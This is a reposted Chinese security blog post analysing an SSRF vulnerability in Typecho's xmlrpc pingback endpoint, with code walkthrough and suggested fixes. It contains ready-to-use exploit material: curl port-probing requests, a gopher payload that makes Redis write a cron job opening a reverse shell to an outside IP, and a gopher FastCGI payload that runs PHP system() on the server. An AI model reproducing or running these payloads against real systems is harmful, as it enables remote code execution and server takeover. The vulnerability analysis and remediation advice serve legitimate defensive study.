【转载】Typecho SSRF 分析与利用

发布于 2017-10-13  1154 次阅读


原文地址:https://joychou.org/web/typecho-ssrf-analysis-and-exploit.html
作者:JoyChou

<div class="content">

<h2>1. 前言</h2>
<p>最近,WAF捕获到一条SSRF攻击payload,发现被攻击的域名是一个Typecho的博客系统。然后就去Google了下Typecho SSRF关键字,发现和WordPress一样,xmlrpc也存在同样的SSRF问题。自己博客也是使用Typecho,所以就分析了下。</p>

<p>本文所有测试均在以下测试环境:</p>

  • Typecho 1.0 (14.10.10) 最新Release版本
  • CentOS 7
  • libcurl/7.29.0
  • Redis server v=3.2.10

<h2>2. 漏洞原理</h2>
<p>xmlrpc这个接口是给第三方软件读写文章使用,且Typecho默认有该功能,并无设置选项。</p>
<h3>2.1 代码分析</h3>
<p>漏洞URL:http://localhost/action/xmlrpc。POST提交以下Payload:</p>

<span class="pi"><?xml version="1.0" encoding="utf-8"?></span>
<span class="tag"><<span class="title">methodCall</span>></span>
  <span class="tag"><<span class="title">methodName</span>></span>pingback.ping<span class="tag"></<span class="title">methodName</span>></span>
  <span class="tag"><<span class="title">params</span>></span>
    <span class="tag"><<span class="title">param</span>></span>
      <span class="tag"><<span class="title">value</span>></span>
        <span class="tag"><<span class="title">string</span>></span>http://127.0.0.1:2222<span class="tag"></<span class="title">string</span>></span>
      <span class="tag"></<span class="title">value</span>></span>
    <span class="tag"></<span class="title">param</span>></span>
    <span class="tag"><<span class="title">param</span>></span>
      <span class="tag"><<span class="title">value</span>></span>
        <span class="tag"><<span class="title">string</span>></span>joychou<span class="tag"></<span class="title">string</span>></span>
      <span class="tag"></<span class="title">value</span>></span>
    <span class="tag"></<span class="title">param</span>></span>
  <span class="tag"></<span class="title">params</span>></span>
<span class="tag"></<span class="title">methodCall</span>></span>

<p>收到源地址服务器错误这样的错误返回。</p>
<p>代码里搜索源地址服务器错误,发现只有var/Widget/XmlRpc.php文件里有,这就能确定案发现场了。只需要看懂public function pingbackPing($source, $target)函数即可,该函数的$source</code>参数为<code>http://127.0.0.1:2222</code>,<code>$target为joychou</p>
<p>先调用Typecho_Http_Client类的get方法,返回 发起HTTP请求的类。如果失败,直接返回错误,整个调用结束。</p>
<p>XmlRpc.php</p>

<span class="keyword">if</span> (!(<span class="variable">$http</span> = Typecho_Http_Client::get())) {
  <span class="keyword">return</span> <span class="keyword">new</span> IXR_Error(<span class="number">16</span>, _t(<span class="string">'源地址服务器错误'</span>));
}

<p>get方法代码如下,功能为,从Client/Adapter/目录中,添加两个发起HTTP请求的类,一个是Curl,另一个是Socket。如果Curl可用,就用Curl,否则用fsockopen。</p>
<p>var/Typecho/Http/Client.php</p>

<span class="keyword">public</span> <span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">get</span><span class="params">()</span>
{</span>
   <span class="variable">$adapters</span> = func_get_args();
   <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$adapters</span>)) {
       <span class="variable">$adapters</span> = <span class="keyword">array</span>();
       <span class="variable">$adapterFiles</span> = glob(dirname(<span class="keyword">__FILE__</span>) . <span class="string">'/Client/Adapter/*.php'</span>);
       <span class="keyword">foreach</span> (<span class="variable">$adapterFiles</span> <span class="keyword">as</span> <span class="variable">$file</span>) {
           <span class="variable">$adapters</span>[] = substr(basename(<span class="variable">$file</span>), <span class="number">0</span>, -<span class="number">4</span>);
       }
   }
   <span class="keyword">foreach</span> (<span class="variable">$adapters</span> <span class="keyword">as</span> <span class="variable">$adapter</span>) {
       <span class="variable">$adapterName</span> = <span class="string">'Typecho_Http_Client_Adapter_'</span> . <span class="variable">$adapter</span>;
       <span class="keyword">if</span> (Typecho_Common::isAvailableClass(<span class="variable">$adapterName</span>) &amp;&amp; call_user_func(<span class="keyword">array</span>(<span class="variable">$adapterName</span>, <span class="string">'isAvailable'</span>))) {
           <span class="keyword">return</span> <span class="keyword">new</span> <span class="variable">$adapterName</span>();
       }
   }
   <span class="keyword">return</span> <span class="keyword">false</span>;
}

<p>回到XmlRpc.php,$http-&gt;setTimeout(5)-&gt;send($source);该行代码用上面返回的HTTP类调用send方法发起HTTP请求。具体发起请求的代码var/Typecho/Http/Client/Adapter/Curl.php</p>

curl_setopt(<span class="variable">$ch</span>, CURLOPT_URL, <span class="variable">$url</span>);
curl_setopt(<span class="variable">$ch</span>, CURLOPT_PORT, <span class="variable">$this</span>->port);
curl_setopt(<span class="variable">$ch</span>, CURLOPT_HEADER, <span class="keyword">true</span>);
curl_setopt(<span class="variable">$ch</span>, CURLOPT_RETURNTRANSFER, <span class="keyword">true</span>);
curl_setopt(<span class="variable">$ch</span>, CURLOPT_FRESH_CONNECT, <span class="keyword">true</span>);
curl_setopt(<span class="variable">$ch</span>, CURLOPT_TIMEOUT, <span class="variable">$this</span>->timeout);
curl_setopt(<span class="variable">$ch</span>, CURLOPT_SSL_VERIFYPEER, <span class="keyword">false</span>);
curl_setopt(<span class="variable">$ch</span>, CURLOPT_SSL_VERIFYHOST, <span class="keyword">false</span>);

<p>由于是cURL造成的SSRF,利用姿势就比较多了。还有Socket.php也会造成SSRF。</p>
<h3>2.2 代码整体逻辑</h3>

  1. 程序写了两种发起HTTP请求的方式,Curl和fsockopen,Curl如果可用,优先选择使用
  2. 如果cURL返回失败或者返回成功后但状态码不是200,返回源地址服务器错误
  3. 如果cURL返回成功,并且状态码为200,如果没有x-pingback头,返回源地址不支持PingBack,如果有x-pingback头,就继续往下判断。
<span class="keyword">try</span> {
  <span class="variable">$http</span>-&gt;setTimeout(<span class="number">5</span>)-&gt;send(<span class="variable">$source</span>);
  <span class="variable">$response</span> = <span class="variable">$http</span>->getResponseBody();
  <span class="keyword">if</span> (<span class="number">200</span> == <span class="variable">$http</span>->getResponseStatus()) {
      <span class="keyword">if</span> (!<span class="variable">$http</span>->getResponseHeader(<span class="string">'x-pingback'</span>)) {
          preg_match_all(<span class="string">"/<link1rel="'["']1href="'["']1*>/i"</span>, <span class="variable">$response</span>, <span class="variable">$out</span>);
          <span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$out</span><span class="number">1</span>)) {
              <span class="keyword">return</span> <span class="keyword">new</span> IXR_Error(<span class="number">50</span>, _t(<span class="string">'源地址不支持PingBack'</span>));
          }
      }
  } <span class="keyword">else</span> {
      <span class="keyword">return</span> <span class="keyword">new</span> IXR_Error(<span class="number">16</span>, _t(<span class="string">'源地址服务器错误'</span>));
  }
} <span class="keyword">catch</span> (<span class="keyword">Exception</span> <span class="variable">$e</span>) {
  <span class="keyword">return</span> <span class="keyword">new</span> IXR_Error(<span class="number">16</span>, _t(<span class="string">'源地址服务器错误'</span>));
}

<h2>3. 漏洞利用</h2>
<h3>3.1 端口探测</h3>
<p>所以,可以根据返回码,我们可以来探测端口。</p>

  • 返回源地址服务器错误,端口不开启。
  • 返回源地址不支持PingBack或者其他错误,端口开启。

<h4>3.1.1 探测Redis端口</h4>

curl <span class="string">"https://joychou.org/action/xmlrpc"</span> -d <span class="comment">'<span class="xmlDocTag"><methodCall></span><span class="xmlDocTag"><methodName></span>pingback.ping<span class="xmlDocTag"></methodName></span><span class="xmlDocTag"><params></span><span class="xmlDocTag"><param></span><span class="xmlDocTag"><value></span><span class="xmlDocTag"><string></span>http://127.0.0.1:6379<span class="xmlDocTag"></string></span><span class="xmlDocTag"></value></span><span class="xmlDocTag"></param></span><span class="xmlDocTag"><param></span><span class="xmlDocTag"><value></span><span class="xmlDocTag"><string></span>joychou<span class="xmlDocTag"></string></span><span class="xmlDocTag"></value></span><span class="xmlDocTag"></param></span><span class="xmlDocTag"></params></span><span class="xmlDocTag"></methodCall></span>'</span>

<p>返回:</p>

<span class="pi"><?xml version="1.0"?></span>
<span class="tag"><<span class="title">methodResponse</span>></span>
  <span class="tag"><<span class="title">fault</span>></span>
    <span class="tag"><<span class="title">value</span>></span>
      <span class="tag"><<span class="title">struct</span>></span>
        <span class="tag"><<span class="title">member</span>></span>
          <span class="tag"><<span class="title">name</span>></span>faultCode<span class="tag"></<span class="title">name</span>></span>
          <span class="tag"><<span class="title">value</span>></span><span class="tag"><<span class="title">int</span>></span>16<span class="tag"></<span class="title">int</span>></span><span class="tag"></<span class="title">value</span>></span>
        <span class="tag"></<span class="title">member</span>></span>
        <span class="tag"><<span class="title">member</span>></span>
          <span class="tag"><<span class="title">name</span>></span>faultString<span class="tag"></<span class="title">name</span>></span>
          <span class="tag"><<span class="title">value</span>></span><span class="tag"><<span class="title">string</span>></span>源地址服务器错误<span class="tag"></<span class="title">string</span>></span><span class="tag"></<span class="title">value</span>></span>
        <span class="tag"></<span class="title">member</span>></span>
      <span class="tag"></<span class="title">struct</span>></span>
    <span class="tag"></<span class="title">value</span>></span>
  <span class="tag"></<span class="title">fault</span>></span>
<span class="tag"></<span class="title">methodResponse</span>></span>

<p>所以,这就很尴尬,php curl对http://127.0.0.1:6379发起请求,返回true,但是状态码返回不是200。导致输出的也是源地址服务器错误。所以应该就只能探测WEB端口了。类似Redis、FastCGI、Struts2就盲打吧…</p>
<p>而且用时间差测试,端口是否有无,时间差几乎一样。</p>
<h4>3.1.2 探测Web服务</h4>
<p>python开一个2222的Web服务python -m SimpleHTTPServer 2222</p>
<p>payload:</p>

curl <span class="string">"https://joychou.org/action/xmlrpc"</span> -d <span class="comment">'<span class="xmlDocTag"><methodCall></span><span class="xmlDocTag"><methodName></span>pingback.ping<span class="xmlDocTag"></methodName></span><span class="xmlDocTag"><params></span><span class="xmlDocTag"><param></span><span class="xmlDocTag"><value></span><span class="xmlDocTag"><string></span>http://127.0.0.1:2222<span class="xmlDocTag"></string></span><span class="xmlDocTag"></value></span><span class="xmlDocTag"></param></span><span class="xmlDocTag"><param></span><span class="xmlDocTag"><value></span><span class="xmlDocTag"><string></span>joychou<span class="xmlDocTag"></string></span><span class="xmlDocTag"></value></span><span class="xmlDocTag"></param></span><span class="xmlDocTag"></params></span><span class="xmlDocTag"></methodCall></span>'</span>

<p>返回源地址不支持PingBack,说明端口开启。</p>

<span class="pi"><?xml version="1.0"?></span>
<span class="tag"><<span class="title">methodResponse</span>></span>
  <span class="tag"><<span class="title">fault</span>></span>
    <span class="tag"><<span class="title">value</span>></span>
      <span class="tag"><<span class="title">struct</span>></span>
        <span class="tag"><<span class="title">member</span>></span>
          <span class="tag"><<span class="title">name</span>></span>faultCode<span class="tag"></<span class="title">name</span>></span>
          <span class="tag"><<span class="title">value</span>></span><span class="tag"><<span class="title">int</span>></span>50<span class="tag"></<span class="title">int</span>></span><span class="tag"></<span class="title">value</span>></span>
        <span class="tag"></<span class="title">member</span>></span>
        <span class="tag"><<span class="title">member</span>></span>
          <span class="tag"><<span class="title">name</span>></span>faultString<span class="tag"></<span class="title">name</span>></span>
          <span class="tag"><<span class="title">value</span>></span><span class="tag"><<span class="title">string</span>></span>源地址不支持PingBack<span class="tag"></<span class="title">string</span>></span><span class="tag"></<span class="title">value</span>></span>
        <span class="tag"></<span class="title">member</span>></span>
      <span class="tag"></<span class="title">struct</span>></span>
    <span class="tag"></<span class="title">value</span>></span>
  <span class="tag"></<span class="title">fault</span>></span>
<span class="tag"></<span class="title">methodResponse</span>></span>

<h3>3.2 攻击Redis</h3>
<p>EXP中由于带有&字符,需要使用CDATA。</p>

<span class="pi"><?xml version="1.0" encoding="utf-8"?></span>
<span class="tag"><<span class="title">methodCall</span>></span>
  <span class="tag"><<span class="title">methodName</span>></span>pingback.ping<span class="tag"></<span class="title">methodName</span>></span>
  <span class="tag"><<span class="title">params</span>></span>
    <span class="tag"><<span class="title">param</span>></span>
      <span class="tag"><<span class="title">value</span>></span>
        <span class="tag"><<span class="title">string</span>></span><span class="cdata"><![CDATA[gopher://127.0.0.1:6379/_3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i &gt;&amp; /dev/tcp/47.89.25.236/2333 0&gt;&amp;1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a1%0d%0a$4%0d%0aquit%0d%0a]]></span><span class="tag"></<span class="title">string</span>></span>
      <span class="tag"></<span class="title">value</span>></span>
    <span class="tag"></<span class="title">param</span>></span>
    <span class="tag"><<span class="title">param</span>></span>
      <span class="tag"><<span class="title">value</span>></span>
        <span class="tag"><<span class="title">string</span>></span>joychou<span class="tag"></<span class="title">string</span>></span>
      <span class="tag"></<span class="title">value</span>></span>
    <span class="tag"></<span class="title">param</span>></span>
  <span class="tag"></<span class="title">params</span>></span>
<span class="tag"></<span class="title">methodCall</span>></span>

<h3>3.3 攻击FastCGI</h3>
<h4>3.3.1 利用条件</h4>

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

<p>由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断。</p>
<p>https://curl.haxx.se/changes.html#7_45_<;/p>
<p>Fixed in 7.45.0 - October 7 2015</p>

<p>gopher: don't send NUL byte</p>

<h4>3.3.2 转换为Gopher的EXP</h4>
<p>监听一个端口的流量 nc -lvv 2333 > 1.txt,执行EXP,流量打到2333端口</p>

python fpm.py -c "<span class="pi"><?php system('echo sectest > /tmp/1.php'); exit;?></span>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php

<p>urlencode</p>

<span class="title">f</span> = open('<span class="number">1.</span>txt')
<span class="title">ff</span> = f.read()
<span class="title">from</span> urllib <span class="import"><span class="keyword">import</span> quote</span>
<span class="title">print</span> quote(ff)

<p>得到gopher的EXP</p>

<span class="variable">%01</span><span class="variable">%01</span><span class="variable">%16</span><span class="variable">%21</span><span class="variable">%00</span><span class="variable">%08</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%01</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%01</span><span class="variable">%04</span><span class="variable">%16</span><span class="variable">%21</span><span class="variable">%01</span><span class="variable">%E7</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%0E</span><span class="variable">%02CONTENT_LENGTH50</span><span class="variable">%0C</span><span class="variable">%10CONTENT_TYPEapplication</span>/text<span class="variable">%0B</span><span class="variable">%04REMOTE_PORT9985</span><span class="variable">%0B</span><span class="variable">%09SERVER_NAMElocalhost</span><span class="variable">%11</span><span class="variable">%0BGATEWAY_INTERFACEFastCGI</span>/<span class="number">1.0</span><span class="variable">%0F</span><span class="variable">%0ESERVER_SOFTWAREphp</span>/fcgiclient<span class="variable">%0B</span><span class="variable">%09REMOTE_ADDR127</span>.<span class="number">0</span>.<span class="number">0</span>.<span class="number">1</span><span class="variable">%0F</span><span class="variable">%1BSCRIPT_FILENAME</span>/usr/<span class="keyword">local</span>/nginx/html/p.php<span class="variable">%0B</span><span class="variable">%1BSCRIPT_NAME</span>/usr/<span class="keyword">local</span>/nginx/html/p.php<span class="variable">%09</span><span class="variable">%1FPHP_VALUEauto_prepend_file</span><span class="variable">%20</span><span class="variable">%3D</span><span class="variable">%20php</span><span class="variable">%3A</span>/<span class="regexp">/input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/</span><span class="number">1.1</span><span class="variable">%0C</span><span class="variable">%00QUERY_STRING</span><span class="variable">%0F</span><span class="variable">%16PHP_ADMIN_VALUEallow_url_include</span><span class="variable">%20</span><span class="variable">%3D</span><span class="variable">%20On</span><span class="variable">%0D</span><span class="variable">%01DOCUMENT_ROOT</span>/<span class="variable">%0B</span><span class="variable">%09SERVER_ADDR127</span>.<span class="number">0</span>.<span class="number">0</span>.<span class="number">1</span><span class="variable">%0B</span><span class="variable">%1BREQUEST_URI</span>/usr/<span class="keyword">local</span>/nginx/html/p.php<span class="variable">%01</span><span class="variable">%04</span><span class="variable">%16</span><span class="variable">%21</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%01</span><span class="variable">%05</span><span class="variable">%16</span><span class="variable">%21</span><span class="variable">%002</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%3C</span><span class="variable">%3Fphp</span><span class="variable">%20system</span><span class="variable">%28</span><span class="variable">%27echo</span><span class="variable">%20sectest</span><span class="variable">%20</span><span class="variable">%3E</span><span class="variable">%20</span>/tmp/<span class="number">1</span>.php<span class="variable">%27</span><span class="variable">%29</span><span class="variable">%3B</span><span class="variable">%20exit</span><span class="variable">%3B</span><span class="variable">%3F</span><span class="variable">%3E</span><span class="variable">%01</span><span class="variable">%05</span><span class="variable">%16</span><span class="variable">%21</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span>

<p>执行EXP</p>

<span class="keyword">curl</span> 'gopher://127.0.0.1:9000/_<span class="number">%01</span><span class="number">%01</span><span class="number">%16</span><span class="number">%21</span><span class="number">%00</span><span class="number">%08</span><span class="number">%00</span><span class="number">%00</span><span class="number">%00</span><span class="number">%01</span><span class="number">%00</span><span class="number">%00</span><span class="number">%00</span><span class="number">%00</span><span class="number">%00</span><span class="number">%00</span><span class="number">%01</span><span class="number">%04</span><span class="number">%16</span><span class="number">%21</span><span class="number">%01</span>%E7<span class="number">%00</span><span class="number">%00</span><span class="number">%0</span>E<span class="number">%02</span>CONTENT_LENGTH50<span class="number">%0</span>C<span class="number">%10</span>CONTENT_TYPEapplication/text<span class="number">%0</span>B<span class="number">%04</span>REMOTE_PORT9985<span class="number">%0</span>B<span class="number">%09</span>SERVER_NAMElocalhost<span class="number">%11</span><span class="number">%0</span>BGATEWAY_INTERFACEFastCGI/1.0<span class="number">%0</span>F<span class="number">%0</span>ESERVER_SOFTWAREphp/fcgiclient<span class="number">%0</span>B<span class="number">%09</span>REMOTE_ADDR127.0.0.1<span class="number">%0</span>F<span class="number">%1</span>BSCRIPT_FILENAME/usr/local/nginx/html/p.php<span class="number">%0</span>B<span class="number">%1</span>BSCRIPT_NAME/usr/local/nginx/html/p.php<span class="number">%09</span><span class="number">%1</span>FPHP_VALUEauto_prepend_file<span class="number">%20</span><span class="number">%3</span>D<span class="number">%20</span>php<span class="number">%3</span>A//input<span class="number">%0</span>E<span class="number">%04</span>REQUEST_METHODPOST<span class="number">%0</span>B<span class="number">%02</span>SERVER_PORT80<span class="number">%0</span>F<span class="number">%08</span>SERVER_PROTOCOLHTTP/1.1<span class="number">%0</span>C<span class="number">%00</span>QUERY_STRING<span class="number">%0</span>F<span class="number">%16</span>PHP_ADMIN_VALUEallow_url_include<span class="number">%20</span><span class="number">%3</span>D<span class="number">%20</span><span class="literal">On</span><span class="number">%0</span>D<span class="number">%01</span>DOCUMENT_ROOT/<span class="number">%0</span>B<span class="number">%09</span>SERVER_ADDR127.0.0.1<span class="number">%0</span>B<span class="number">%1</span>BREQUEST_URI/usr/local/nginx/html/p.php<span class="number">%01</span><span class="number">%04</span><span class="number">%16</span><span class="number">%21</span><span class="number">%00</span><span class="number">%00</span><span class="number">%00</span><span class="number">%00</span><span class="number">%01</span><span class="number">%05</span><span class="number">%16</span><span class="number">%21</span><span class="number">%002</span><span class="number">%00</span><span class="number">%00</span><span class="number">%3</span>C<span class="number">%3</span>Fphp<span class="number">%20</span>system<span class="number">%28</span><span class="number">%27</span>echo<span class="number">%20</span>sectest<span class="number">%20</span><span class="number">%3</span>E<span class="number">%20</span>/tmp/1.php<span class="number">%27</span><span class="number">%29</span><span class="number">%3</span>B<span class="number">%20</span>exit<span class="number">%3</span>B<span class="number">%3</span>F<span class="number">%3</span>E<span class="number">%01</span><span class="number">%05</span><span class="number">%16</span><span class="number">%21</span><span class="number">%00</span><span class="number">%00</span><span class="number">%00</span><span class="number">%00</span>'

<h2>4. 修复</h2>
<h3>4.1 热修复</h3>

  • 如果不用第三方软件发文章,可将/action/xmlrpc接口用Nginx 403掉if ($uri ~ ^/action/xmlrpc$) {return 403;}
  • WAF拦截

<h3>4.2 代码修复</h3>

  • 限制协议为HTTP/HTTPS
  • 判断IP是否是内网
  • Curl.php和Socket.php都要修改

<p>修复代码</p>

<p>看了2017 blackhat的那篇文章,PHP的SSRF绕过姿势很多。这个修复代码就至少还能dns rebinding绕过。</p>
<p>有更好的修复方案,欢迎讨论。</p>

</div>


  1. >
  2. "'
  3. "'

❤动漫 | 音乐 | 游戏 萝莉赛高! 过膝袜赛高!